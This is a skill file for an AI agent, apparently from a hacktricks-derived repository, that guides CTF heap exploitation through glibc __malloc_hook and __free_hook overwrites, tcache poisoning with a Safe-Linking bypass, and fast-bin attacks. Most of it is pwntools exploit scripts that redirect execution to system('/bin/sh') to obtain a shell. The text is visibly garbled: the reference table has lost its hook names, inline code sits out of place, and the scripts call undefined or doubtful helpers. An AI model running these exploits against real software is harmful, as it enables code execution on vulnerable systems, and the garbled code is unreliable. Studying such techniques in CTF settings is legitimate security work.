Hacktricks-skills malloc-hook-exploit
Guide for exploiting __malloc_hook and __free_hook in binary exploitation challenges. Use this skill when working on CTF pwn challenges involving heap vulnerabilities, malloc/free hook overwrites, tcache poisoning, or Safe-Linking bypasses. Trigger when the user mentions malloc hook, free hook, heap exploitation, glibc hooks, tcache poisoning, or is solving binary exploitation challenges that involve heap memory corruption.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook/SKILL.MDMalloc/Free Hook Exploitation Guide
This skill helps you exploit
__malloc_hook and __free_hook vulnerabilities in binary exploitation challenges. These are powerful primitives for achieving arbitrary code execution through heap corruption.
Quick Reference
| Hook | Triggered By | glibc Support |
|---|---|---|
| Any call | ≤ 2.33 |
| Any call | ≤ 2.33 |
| Any call | ≤ 2.33 |
| Any call | ≤ 2.33 |
⚠️ Critical: Hooks are disabled in glibc ≥ 2.34. Check the target's glibc version first!
Step 1: Check glibc Version
Before attempting hook exploitation, verify the target supports it:
# Check glibc version ldd --version # or strings /lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC_ | sort -V | tail -1
If glibc ≥ 2.34, hooks won't work. Pivot to alternatives like:
- IO-FILE structure hijacking
overwrites__run_exit_handlers- vtable spraying
- Return-to-libc with other function pointers
Step 2: Locate Hook Addresses
With Symbols (Debug Build)
# In GEF/Pwndbg gef➤ p &__malloc_hook gef➤ p &__free_hook
Without Symbols
Use the
find_hook_address.py script:
python3 scripts/find_hook_address.py /path/to/libc.so.6
Or manually in GDB:
# For __free_hook, break at free+25 gef➤ x/20i free gef➤ break *free+25 gef➤ run # $eax contains __free_hook address
Step 3: Choose Your Attack Vector
Option A: __malloc_hook Exploitation
When to use: You can trigger
malloc() after overwriting the hook.
Prerequisites:
- Arbitrary write primitive (UAF, heap overflow, use-after-free)
- One Gadget or shellcode address
- Ability to trigger malloc (or use
to force it)printf("%10000$c")
Workflow:
- Overwrite
with a One Gadget address__malloc_hook - Trigger
- the gadget executesmalloc() - Get shell
Example:
from pwn import * libc = ELF("libc.so.6") p = process("./vuln") # Get one gadget one_gadget = one_gadget(libc.path, ret2ret=False) # Overwrite __malloc_hook malloc_hook = libc.sym['__malloc_hook'] write(malloc_hook, p64(one_gadget)) # Trigger malloc p.sendline(b"malloc_trigger") # Get shell p.interactive()
Option B: __free_hook Exploitation
When to use: You can trigger
free() after overwriting the hook.
Prerequisites:
- Heap corruption primitive (fast bin attack, tcache poisoning, unsorted bin attack)
function addresssystem- String
in heap/bin/sh
Workflow:
- Overwrite
with__free_hook
addresssystem - Place
in a heap chunk/bin/sh - Free that chunk -
executessystem("/bin/sh")
Example:
from pwn import * libc = ELF("libc.so.6") p = process("./vuln") # Overwrite __free_hook with system free_hook = libc.sym['__free_hook'] write(free_hook, p64(libc.sym['system'])) # Create chunk with /bin/sh bin_sh = malloc(0x50) edit(bin_sh, b"/bin/sh\x00") # Free it to trigger free(bin_sh) p.interactive()
Step 4: Handle Safe-Linking (glibc 2.32-2.33)
glibc 2.32+ introduced Safe-Linking that obfuscates tcache forward pointers:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr)) #define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
Consequences:
- Heap leak required - you need
to forge valid pointerschunk_addr >> 12 - Full 8-byte overwrites only - partial writes fail the check
Tcache Poisoning with Safe-Linking:
from pwn import * libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") p = process("./vuln") # 1. Leak heap address heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00")) heap_base = heap_leak & ~0xfff fd_key = heap_base >> 12 # Safe-Linking key log.success(f"heap @ {hex(heap_base)}") # 2. Double-free for tcache poisoning a = malloc(0x48) b = malloc(0x48) free(a) free(b) free(a) # tcache double-free # 3. Forge obfuscated fd pointing to __free_hook free_hook = libc.sym['__free_hook'] poison = free_hook ^ fd_key edit(a, p64(poison)) # 4. Two mallocs - second returns __free_hook malloc(0x48) # returns chunk a c = malloc(0x48) # returns chunk @ __free_hook edit(c, p64(libc.sym['system'])) # 5. Trigger bin_sh = malloc(0x48) edit(bin_sh, b"/bin/sh\x00") free(bin_sh) p.interactive()
Step 5: Fast Bin Attack for __free_hook
When you need to place a chunk at
__free_hook:
-
Find chunk size that fits near
:__free_hookgef➤ p &__free_hook $1 = 0x7ff1e9e607a8 gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 # Look for 0x0000000000000200 (size 0x200) -
Create fast bin chunk of matching size:
# Create chunk of size 0xfc, merge twice = 0x1f8 chunk = malloc(0xfc) merge(chunk) # twice -
Poison fd to point to
location__free_hook -
Allocate to get chunk at
__free_hook -
Overwrite with
addresssystem -
Free a chunk containing
/bin/sh
Common Pitfalls
| Issue | Solution |
|---|---|
| glibc ≥ 2.34 | Use alternative primitives (IO-FILE, vtable) |
| Safe-Linking fails | Leak heap address, use as XOR key |
| Partial overwrite fails | Safe-Linking requires full 8-byte pointer |
| Hook not triggering | Verify hook address is correct, check for ASLR |
| Segfault after overwrite | Ensure gadget/function address is valid |
Debugging Tips
# In GDB, watch hook values gef➤ watch *(&__malloc_hook) gef➤ watch *(&__free_hook) # Check if hooks are enabled gef➤ p __malloc_hook gef➤ p __free_hook # If they show 0x0, hooks are disabled # Trace malloc/free calls gef➤ break malloc gef➤ break free
When Hooks Don't Work (glibc ≥ 2.34)
If hooks are disabled, try these alternatives:
- IO-FILE Hijacking: Overwrite FILE structure vtable
: Overwrite exit handler function pointer__run_exit_handlers- vtable Spraying: Overwrite C++ vtable entries
- Return-to-libc: Chain libc functions directly
- ROP: Build ROP chain to achieve code execution
See: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md
Quick Start Script
Use
scripts/exploit_template.py as a starting point:
python3 scripts/exploit_template.py --help
This generates a template with:
- glibc version check
- Hook address discovery
- Exploitation workflow
- Interactive shell
References
- GNU libc Hooks Documentation
- Safe-Linking Research (Check Point, 2020)
- Modern libc Exploitation
- One Gadget
Remember: Always verify glibc version before attempting hook exploitation. Modern systems (Ubuntu 22.04+, Fedora 35+, Debian 12) use glibc ≥ 2.34 where hooks are disabled.